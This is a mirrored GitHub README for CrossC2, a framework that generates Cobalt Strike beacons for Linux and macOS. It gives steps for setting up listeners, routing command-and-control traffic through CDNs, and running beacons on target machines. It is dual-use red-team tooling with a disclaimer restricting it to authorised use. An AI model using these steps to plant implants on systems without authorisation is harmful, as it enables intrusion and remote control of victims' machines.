GithubHelp home page GithubHelp logo

node011 / crossc2 Goto Github PK

View Code? Open in Web Editor NEW

This project forked from gloxec/crossc2

0.0 0.0 0.0 646.17 MB

generate CobaltStrike's cross-platform payload

Shell 0.41% Python 14.16% C 69.32% Makefile 2.60% HTML 13.50%

crossc2's Introduction

CrossC2 framework

 Linux  macOS GitHub issues-closed Release Downloads

CrossC2 Logo

README | 中文文档 | README_FULL | 中文完整文档

CobaltStrike support

Support CobaltStrike's security assessment of other platforms (Linux/MacOS/...), and include the development support of Unix post-penetration module

CS3.14(bug fixes) CS4.0 CS4.X (>=4.1)
Master branch
cs4.0 branch
cs4.1 branch
Release Page <= v2.1
Release Page >= v2.2

Usage

  1. Download

Download CrossC2.cna genCrossC2 CrossC2Kit, modify CrossC2.cna configuration

  1. Create listener and copy key
  • Create windows/beacon_https/reverse_https listener
  • Copy .cobaltstrike.beacon_keys in teamserver directory to local
  1. Function extension
  • Add CrossC2Kit_Loader.cna, including memory loading and other functions
  • cs4.x version file management, process list function is missing, you must use this Loader to restart
  1. Generate beacon

Use the GUI function provided by cli or cna to generate beacon by default

  • When teamserver is configured with c2profile, the rebind library needs to be generated in advance for use when generating beacon
  • When using the forwarding method, in addition to specifying the rebind library, you also need to pay attention to the C2_HOST field when generating:
    • When the service provider uses the HTTP request content to verify the type, it needs to specify the CDN IP list: genCrossC2 1.1.1.1,2.2.2.2,3.3.3.3,xxx.xxx.xxx.xx ...
    • When the CDN server is verified by SNI, CDN operators such as Cloudflare need to specify the domain name bound to the CDN: genCrossC2 c2.domain.com ...

Rebind library related introduction:

  1. Run beacon
  • Run the one-click online script generated by the CrossC2 plugin on the target
  • After uploading the beacon to the target machine for empowered operation
  • Set the working directory for beacon and run: export CCPATH=/opt/ && /tmp/c2
  • Temporarily specify the protocol library for beacon and run: /tmp/c2 /tmp/c2-rebind.so
  • Temporarily set C2 configuration for beacon: export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2
  • Set DEBUG to view the online status of beacon: export CCDEBUG=1 && /tmp/c2

Note

Only for internal use by enterprises and organizations, this framework has a certain degree of instability. Non-professionals are not allowed to use it. Anyone shall not use it for illegal purposes and profitability. Besides that, publishing unauthorized modified version is also prohibited, or otherwise bear legal responsibilities.

Todo

  1. http-proxy (auth) & socks proxy back connection support
  2. node beacon? (Single node type, can host other beacon without relying on teamserver)
  3. Linux & MacOS side so/dylib's reverse shell support, and its derivative process injection functions

Thank

Thanks to @Emma for the Logo designed for CrossC2, which is designed in the style of Armitage and CobaltStrike series

crossc2's People

Contributors

gloxec avatar scriptidiot avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.